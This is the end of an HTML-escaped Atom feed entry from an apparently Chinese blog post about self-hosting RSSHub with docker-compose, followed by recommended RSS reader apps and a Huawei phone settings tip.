&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;ports&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - [ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;rsshub端口 &lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;:1200
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;environment&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;      - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;CACHE_EXPIRE=1800 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#缓存时间,单位为s
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;restart&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;always
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有了服务器，其它的都容易了，我这里Windows上用了RSS追踪，Android用的Palabre + TT-RSS for Palabre。有一点要注意的是华为手机要在应用启动管理里面允许TT-RSS for Palabre被关联启动，不然Palabre会闪退。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;自己搭建服务器比较靠谱，但是需要一定的动手能力。大家如果有什么更好的建议，可以写在评论区。&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
